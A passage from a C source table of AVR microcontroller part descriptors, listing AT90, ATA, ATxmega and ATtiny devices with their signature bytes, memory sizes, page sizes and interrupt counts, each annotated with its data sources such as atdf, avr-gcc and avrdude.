0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0 - {"AT90PWM2", 167, F_AVR8, {0x1E, 0x93, 0x81}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90PWM2B", 168, F_AVR8, {0x1E, 0x93, 0x83}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM3", 169, F_AVR8, {0x1E, 0x93, 0x81}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM3B", 170, F_AVR8, {0x1E, 0x93, 0x83}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90CAN32", 171, F_AVR8, {0x1E, 0x95, 0x81}, 0, 0x08000, 0x100, 4, 0x0400, 0, 0x0400, 8, 0x0100, 0x0800, 3, 1, 37}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90CAN64", 172, F_AVR8, {0x1E, 0x96, 0x81}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 37}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM81", 173, F_AVR8, {0x1E, 0x93, 0x88}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0100, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"AT90USB82", 174, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90SCR100", 175, F_AVR8, {0x1E, 0x96, 0xC1}, 0, 0x10000, 0x100, 4, 0x0200, -1, -1, -1, 0x0100, 0x1000, 3, 1, 38}, // avr-gcc 12.2.0, boot size (manual) - {"AT90CAN128", 176, F_AVR8, {0x1E, 0x97, 0x81}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x1000, 3, 1, 37}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM161", 177, F_AVR8, {0x1E, 0x94, 0x8B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"AT90USB162", 178, F_AVR8, {0x1E, 0x94, 0x82}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM216", 179, F_AVR8, {0x1E, 0x94, 0x83}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM316", 180, F_AVR8, {0x1E, 0x94, 0x83}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90USB646", 181, F_AVR8, {0x1E, 0x96, 0x82}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90USB647", 182, F_AVR8, {0x1E, 0x96, 0x82}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90S1200", 183, F_AVR8, {0x1E, 0x90, 0x01}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 1, 0x0060, 0x0020, 1, 1, 4}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90USB1286", 184, F_AVR8, {0x1E, 0x97, 0x82}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x2000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90USB1287", 185, F_AVR8, {0x1E, 0x97, 0x82}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x2000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90S2313", 186, F_AVR8, {0x1E, 0x91, 0x01}, 0, 0x00800, 0x001, 0, 0, 0, 0x0080, 1, 0x0060, 0x0080, 1, 1, 11}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S2323", 187, F_AVR8, {0x1E, 0x91, 0x02}, 0, 0x00800, -1, 0, 0, -1, -1, -1, 0x0060, 0x0080, 1, 1, 3}, // avr-gcc 12.2.0, boot size (manual) - {"AT90S2333", 188, F_AVR8, {0x1E, 0x91, 0x05}, 0, 0x00800, 0x001, 0, 0, 0, 0x0080, 1, 0x0060, 0x0080, -1, -1, 14}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S2343", 189, F_AVR8, {0x1E, 0x91, 0x03}, 0, 0x00800, 0x001, 0, 0, 0, 0x0080, 1, 0x0060, 0x0080, 1, 1, 3}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S4414", 190, F_AVR8, {0x1E, 0x92, 0x01}, 0, 0x01000, 0x001, 0, 0, 0, 0x0100, 1, 0x0060, 0x0100, 1, 1, 13}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S4433", 191, F_AVR8, {0x1E, 0x92, 0x03}, 0, 0x01000, 0x001, 0, 0, 0, 0x0100, 1, 0x0060, 0x0080, 1, 1, 14}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S4434", 192, F_AVR8, {0x1E, 0x92, 0x02}, 0, 0x01000, 0x001, 0, 0, 0, 0x0100, 1, 0x0060, 0x0100, 1, 1, 17}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S8515", 193, F_AVR8, {0x1E, 0x93, 0x01}, 0, 0x02000, 0x001, 0, 0, 0, 0x0200, 1, 0x0060, 0x0200, 1, 1, 13}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90C8534", 194, F_AVR8, {0xff, -1, -1}, 0, 0x02000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0100, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT90S8535", 195, F_AVR8, {0x1E, 0x93, 0x03}, 0, 0x02000, 0x001, 0, 0, 0, 0x0200, 1, 0x0060, 0x0200, 1, 1, 17}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT94K", 196, F_AVR8, {0xff, -1, -1}, 0, 0x08000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0fa0, -1, -1, 0}, // avr-gcc 12.2.0 - {"ATA5272", 197, F_AVR8, {0x1E, 0x93, 0x87}, 0, 0x02000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 37}, // atdf, avr-gcc 12.2.0 - {"ATA5505", 198, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"ATA5700M322", 199, F_AVR8, {0x1E, 0x95, 0x67}, 0x08000, 0x08000, 0x040, 0, 0, 0, 0x0880, 16, 0x0200, 0x0400, 1, 1, 51}, // atdf - {"ATA5702M322", 200, F_AVR8, {0x1E, 0x95, 0x69}, 0x08000, 0x08000, 0x040, 0, 0, 0, 0x0880, 16, 0x0200, 0x0400, 1, 1, 51}, // atdf, avr-gcc 12.2.0 - {"ATA5781", 201, F_AVR8, {0x1E, 0x95, 0x64}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5782", 202, F_AVR8, {0x1E, 0x95, 0x65}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 12.2.0 - {"ATA5783", 203, F_AVR8, {0x1E, 0x95, 0x66}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5787", 204, F_AVR8, {0x1E, 0x94, 0x6C}, 0x08000, 0x05200, 0x040, 0, 0, 0, 0x0400, 16, 0x0200, 0x0800, 1, 1, 44}, // atdf - {"ATA5790", 205, F_AVR8, {0x1E, 0x94, 0x61}, 0, 0x04000, 0x080, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 30}, // atdf, avr-gcc 12.2.0 - {"ATA5790N", 206, F_AVR8, {0x1E, 0x94, 0x62}, 0, 0x04000, 0x080, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATA5791", 207, F_AVR8, {0x1E, 0x94, 0x62}, 0, 0x04000, 0x080, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 31}, // atdf, avr-gcc 7.3.0 - {"ATA5795", 208, F_AVR8, {0x1E, 0x93, 0x61}, 0, 0x02000, 0x040, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 23}, // atdf, avr-gcc 12.2.0 - {"ATA5831", 209, F_AVR8, {0x1E, 0x95, 0x61}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 12.2.0 - {"ATA5832", 210, F_AVR8, {0x1E, 0x95, 0x62}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5833", 211, F_AVR8, {0x1E, 0x95, 0x63}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5835", 212, F_AVR8, {0x1E, 0x94, 0x6B}, 0x08000, 0x05200, 0x040, 0, 0, 0, 0x0400, 16, 0x0200, 0x0800, 1, 1, 44}, // atdf - {"ATA6285", 213, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0140, 4, 0x0100, 0x0200, 2, 1, 27}, // atdf, avr-gcc 12.2.0 - {"ATA6286", 214, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0140, 4, 0x0100, 0x0200, 2, 1, 27}, // atdf, avr-gcc 12.2.0 - {"ATA6289", 215, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x040, 4, 0x0100, -1, -1, -1, 0x0100, 0x0200, 2, 1, 27}, // avr-gcc 12.2.0, boot size (manual) - {"ATA6612C", 216, F_AVR8, {0x1E, 0x93, 0x0A}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0 - {"ATA6613C", 217, F_AVR8, {0x1E, 0x94, 0x06}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0 - {"ATA6614Q", 218, F_AVR8, {0x1E, 0x95, 0x0F}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // atdf, avr-gcc 12.2.0 - {"ATA6616C", 219, F_AVR8, {0x1E, 0x93, 0x87}, 0, 0x02000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"ATA6617C", 220, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"ATA8210", 221, F_AVR8, {0x1E, 0x95, 0x65}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 7.3.0 - {"ATA8215", 222, F_AVR8, {0x1E, 0x95, 0x64}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA8510", 223, F_AVR8, {0x1E, 0x95, 0x61}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 7.3.0 - {"ATA8515", 224, F_AVR8, {0x1E, 0x95, 0x63}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA664251", 225, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"M3000", 226, F_AVR8, {0xff, -1, -1}, 0, 0x10000, -1, -1, -1, -1, -1, -1, 0x1000, 0x1000, -1, -1, 0}, // avr-gcc 12.2.0 - {"LGT8F88P", 227, F_AVR8, {0x1E, 0x93, 0x0F}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // avrdude, from ATmega88 - {"LGT8F168P", 228, F_AVR8, {0x1E, 0x94, 0x0B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // avrdude, from ATmega168P - {"LGT8F328P", 229, F_AVR8, {0x1E, 0x95, 0x0F}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // avrdude, from ATmega328P - - {"ATxmega8E5", 230, F_XMEGA, {0x1E, 0x93, 0x41}, 0, 0x02800, 0x080, 1, 0x0800, 0, 0x0200, 32, 0x2000, 0x0400, 7, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16A4", 231, F_XMEGA, {0x1E, 0x94, 0x41}, 0, 0x05000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 94}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16A4U", 232, F_XMEGA, {0x1E, 0x94, 0x41}, 0, 0x05000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16C4", 233, F_XMEGA, {0x1E, 0x94, 0x43}, 0, 0x05000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16D4", 234, F_XMEGA, {0x1E, 0x94, 0x42}, 0, 0x05000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x0800, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16E5", 235, F_XMEGA, {0x1E, 0x94, 0x45}, 0, 0x05000, 0x080, 1, 0x1000, 0, 0x0200, 32, 0x2000, 0x0800, 7, 1, 43}, // atdf, avr-gcc 7.3.0, avrdude - {"ATxmega32C3", 236, F_XMEGA, {0x1E, 0x95, 0x49}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0 - {"ATxmega32D3", 237, F_XMEGA, {0x1E, 0x95, 0x4A}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 114}, // atdf, avr-gcc 12.2.0 - {"ATxmega32A4", 238, F_XMEGA, {0x1E, 0x95, 0x41}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 94}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32A4U", 239, F_XMEGA, {0x1E, 0x95, 0x41}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32C4", 240, F_XMEGA, {0x1E, 0x95, 0x44}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32D4", 241, F_XMEGA, {0x1E, 0x95, 0x42}, 0, 0x09000, 0x100, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega32E5", 242, F_XMEGA, {0x1E, 0x95, 0x4C}, 0, 0x09000, 0x080, 1, 0x1000, 0, 0x0400, 32, 0x2000, 0x1000, 7, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A1", 243, F_XMEGA, {0x1E, 0x96, 0x4E}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 125}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A1U", 244, F_XMEGA, {0x1E, 0x96, 0x4E}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64B1", 245, F_XMEGA, {0x1E, 0x96, 0x52}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 81}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A3", 246, F_XMEGA, {0x1E, 0x96, 0x42}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A3U", 247, F_XMEGA, {0x1E, 0x96, 0x42}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64B3", 248, F_XMEGA, {0x1E, 0x96, 0x51}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 54}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64C3", 249, F_XMEGA, {0x1E, 0x96, 0x49}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64D3", 250, F_XMEGA, {0x1E, 0x96, 0x4A}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64A4", 251, F_XMEGA, {0x1E, 0x96, 0x46}, 0, 0x11000, 0x100, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega64A4U", 252, F_XMEGA, {0x1E, 0x96, 0x46}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega64D4", 253, F_XMEGA, {0x1E, 0x96, 0x47}, 0, 0x11000, 0x100, 1, 0x1000, 0, 0x0800, 32, 0x2000, 0x1000, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A1", 254, F_XMEGA, {0x1E, 0x97, 0x4C}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 125}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A1revD", 255, F_XMEGA, {0x1E, 0x97, 0x41}, 0, 0x22000, 0x200, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega128A1U", 256, F_XMEGA, {0x1E, 0x97, 0x4C}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128B1", 257, F_XMEGA, {0x1E, 0x97, 0x4D}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 81}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A3", 258, F_XMEGA, {0x1E, 0x97, 0x42}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A3U", 259, F_XMEGA, {0x1E, 0x97, 0x42}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128B3", 260, F_XMEGA, {0x1E, 0x97, 0x4B}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 54}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128C3", 261, F_XMEGA, {0x1E, 0x97, 0x52}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128D3", 262, F_XMEGA, {0x1E, 0x97, 0x48}, 0, 0x22000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128A4", 263, F_XMEGA, {0x1E, 0x97, 0x46}, 0, 0x22000, 0x200, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega128A4U", 264, F_XMEGA, {0x1E, 0x97, 0x46}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega128D4", 265, F_XMEGA, {0x1E, 0x97, 0x47}, 0, 0x22000, 0x100, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x2000, 6, 1, 91}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192A1", 266, F_XMEGA, {0x1E, 0x97, 0x4E}, 0, 0x32000, 0x200, -1, -1, 0, 0x0800, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega192A3", 267, F_XMEGA, {0x1E, 0x97, 0x44}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192A3U", 268, F_XMEGA, {0x1E, 0x97, 0x44}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192C3", 269, F_XMEGA, {0x1E, 0x97, 0x51}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega192D3", 270, F_XMEGA, {0x1E, 0x97, 0x49}, 0, 0x32000, 0x200, 1, 0x2000, 0, 0x0800, 32, 0x2000, 0x4000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A1", 271, F_XMEGA, {0x1E, 0x98, 0x46}, 0, 0x42000, 0x200, -1, -1, 0, 0x1000, 32, -1, -1, -1, -1, 0}, // avrdude - {"ATxmega256A3", 272, F_XMEGA, {0x1E, 0x98, 0x42}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A3B", 273, F_XMEGA, {0x1E, 0x98, 0x43}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 122}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A3BU", 274, F_XMEGA, {0x1E, 0x98, 0x43}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256A3U", 275, F_XMEGA, {0x1E, 0x98, 0x42}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256C3", 276, F_XMEGA, {0x1E, 0x98, 0x46}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega256D3", 277, F_XMEGA, {0x1E, 0x98, 0x44}, 0, 0x42000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x4000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega384C3", 278, F_XMEGA, {0x1E, 0x98, 0x45}, 0, 0x62000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x8000, 6, 1, 127}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega384D3", 279, F_XMEGA, {0x1E, 0x98, 0x47}, 0, 0x62000, 0x200, 1, 0x2000, 0, 0x1000, 32, 0x2000, 0x8000, 6, 1, 114}, // atdf, avr-gcc 12.2.0, avrdude - - {"ATtiny202", 280, F_AVR8X, {0x1E, 0x91, 0x23}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny204", 281, F_AVR8X, {0x1E, 0x91, 0x22}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny212", 282, F_AVR8X, {0x1E, 0x91, 0x21}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny214", 283, F_AVR8X, {0x1E, 0x91, 0x20}, 0, 0x00800, 0x040, 1, 0, 0x01400, 0x0040, 32, 0x3f80, 0x0080, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny402", 284, F_AVR8X, {0x1E, 0x92, 0x27}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny404", 285, F_AVR8X, {0x1E, 0x92, 0x26}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny406", 286, F_AVR8X, {0x1E, 0x92, 0x25}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny412", 287, F_AVR8X, {0x1E, 0x92, 0x23}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny414", 288, F_AVR8X, {0x1E, 0x92, 0x22}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny416", 289, F_AVR8X, {0x1E, 0x92, 0x21}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny416auto", 290, F_AVR8X, {0x1E, 0x92, 0x28}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf - {"ATtiny417", 291, F_AVR8X, {0x1E, 0x92, 0x20}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3f00, 0x0100, 10, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny424", 292, F_AVR8X, {0x1E, 0x92, 0x2C}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 30}, // atdf, avrdude - {"ATtiny426", 293, F_AVR8X, {0x1E, 0x92, 0x2B}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 30}, // atdf, avrdude - {"ATtiny427", 294, F_AVR8X, {0x1E, 0x92, 0x2A}, 0, 0x01000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 30}, // atdf, avrdude - {"ATtiny804", 295, F_AVR8X, {0x1E, 0x93, 0x25}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny806", 296, F_AVR8X, {0x1E, 0x93, 0x24}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny807", 297, F_AVR8X, {0x1E, 0x93, 0x23}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny814", 298, F_AVR8X, {0x1E, 0x93, 0x22}, 0, 0x02000, 0x040, 1, 0, 0x01400, 0x0080, 32, 0x3e00, 0x0200, 10, 1, 26}, // atdf, avr-gcc 12.2.0, 